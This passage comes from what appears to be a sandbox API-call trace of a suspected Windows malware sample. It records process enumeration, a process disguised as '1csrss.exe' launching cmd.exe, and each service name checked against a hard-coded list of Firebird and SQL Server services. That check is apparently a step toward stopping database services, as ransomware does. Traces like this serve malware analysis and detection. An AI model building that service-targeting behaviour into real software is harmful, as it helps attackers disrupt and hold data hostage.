th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0121.746] lstrlenW (lpString="taskhostw.exe") returned 13 [0121.746] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0121.747] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0121.747] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0121.749] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0121.749] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0121.750] lstrlenW (lpString="explorer.exe") returned 12 [0121.750] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0121.751] lstrlenW (lpString="Memory Compression") returned 18 [0121.751] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0121.752] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0121.752] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0121.789] lstrlenW (lpString="SearchUI.exe") returned 12 [0121.789] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0121.790] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0121.790] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0121.791] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0121.791] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0121.792] lstrlenW (lpString="taskhostw.exe") returned 13 [0121.792] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0121.793] lstrlenW (lpString="UsoClient.exe") returned 13 [0121.793] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0124.124] lstrlenW (lpString="taskhostw.exe") returned 13 [0124.125] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0124.126] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0124.126] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0124.127] lstrlenW (lpString="msoia.exe") returned 9 [0124.127] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0124.128] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0124.128] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0124.129] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0124.129] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0124.130] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0124.130] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0124.131] lstrlenW (lpString="arc obviously.exe") returned 17 [0124.131] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0124.132] lstrlenW (lpString="scholars.exe") returned 12 [0124.132] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0124.133] lstrlenW (lpString="isolatedconcerned.exe") returned 21 [0124.133] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0124.134] lstrlenW (lpString="organizing.exe") returned 14 [0124.134] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0124.135] lstrlenW (lpString="campus.exe") returned 10 [0124.135] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0124.136] lstrlenW (lpString="mug.exe") returned 7 [0124.136] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="petitionswapdame.exe")) returned 1 [0124.137] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0124.137] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0124.138] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0124.138] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0124.139] lstrlenW (lpString="powers mixture.exe") returned 18 [0124.139] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0124.141] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0124.141] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0124.142] lstrlenW (lpString="bachelor.exe") returned 12 [0124.142] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0124.143] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0124.143] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0124.144] lstrlenW (lpString="indication wage paying.exe") returned 26 [0124.144] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0124.145] lstrlenW (lpString="thee pub emission.exe") returned 21 [0124.145] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0124.146] lstrlenW (lpString="dllhost.exe") returned 11 [0124.146] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0124.147] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0124.147] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0124.148] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0124.149] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0124.150] lstrlenW (lpString="upgrading.exe") returned 13 [0124.151] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0124.152] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0124.152] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0124.153] lstrlenW (lpString="russell.exe") returned 11 [0124.153] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0124.154] lstrlenW (lpString="conhost.exe") returned 11 [0124.154] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0124.155] lstrlenW (lpString="conhost.exe") returned 11 [0124.155] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.156] lstrlenW (lpString="svchost.exe") returned 11 [0124.156] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0124.157] lstrlenW (lpString="1csrss.exe") returned 10 [0124.157] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0124.158] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0124.159] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0124.159] lstrlenW (lpString="conhost.exe") returned 11 [0124.160] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0124.161] lstrlenW (lpString="cmd.exe") returned 7 [0124.161] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0124.162] lstrlenW (lpString="conhost.exe") returned 11 [0124.162] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.163] lstrlenW (lpString="svchost.exe") returned 11 [0124.163] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0124.164] lstrlenW (lpString="mode.com") returned 8 [0124.164] Process32NextW (in: hSnapshot=0x308, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0124.650] CloseHandle (hObject=0x308) returned 1 [0124.650] Sleep (dwMilliseconds=0x1f4) [0125.730] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5eed68 [0125.730] EnumServicesStatusExW (in: hSCManager=0x5eed68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0125.731] GetLastError () returned 0xea [0125.731] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1dbc) returned 0x607720 [0125.731] EnumServicesStatusExW (in: hSCManager=0x5eed68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x607720, cbBufSize=0x1dbc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x607720, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0125.732] CloseServiceHandle (hSCObject=0x5eed68) returned 1 [0125.732] lstrlenW (lpString="Appinfo") returned 7 [0125.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0125.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0125.732] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0125.732] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0125.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0125.732] lstrlenW (lpString="AppXSvc") returned 7 [0125.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0125.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0125.732] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0125.733] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0125.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0125.733] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0125.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0125.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0125.733] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0125.733] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0125.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0125.733] lstrlenW (lpString="Audiosrv") returned 8 [0125.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0125.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0125.733] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0125.733] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0125.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0125.733] lstrlenW (lpString="BFE") returned 3 [0125.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0125.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0125.733] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0125.733] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0125.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0125.733] lstrlenW (lpString="BITS") returned 4 [0125.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0125.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0125.733] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0125.733] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0125.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0125.733] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0125.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0125.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0125.734] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0125.734] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0125.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0125.734] lstrlenW (lpString="CDPSvc") returned 6 [0125.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0125.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0125.734] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0125.734] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0125.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0125.734] lstrlenW (lpString="ClickToRunSvc") returned 13 [0125.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0125.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0125.734] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0125.734] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0125.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0125.734] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0125.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0125.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0125.734] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0125.734] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0125.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0125.734] lstrlenW (lpString="CryptSvc") returned 8 [0125.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0125.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0125.734] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0125.734] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0125.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0125.735] lstrlenW (lpString="DcomLaunch") returned 10 [0125.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0125.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0125.735] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0125.735] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0125.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0125.735] lstrlenW (lpString="DeviceAssociationService") returned 24 [0125.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0125.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0125.735] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0125.735] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0125.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0125.735] lstrlenW (lpString="Dhcp") returned 4 [0125.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0125.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0125.735] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0125.735] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0125.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0125.735] lstrlenW (lpString="Dnscache") returned 8 [0125.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0125.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0125.735] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0125.735] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0125.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0125.735] lstrlenW (lpString="DoSvc") returned 5 [0125.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0125.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0125.736] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0125.736] 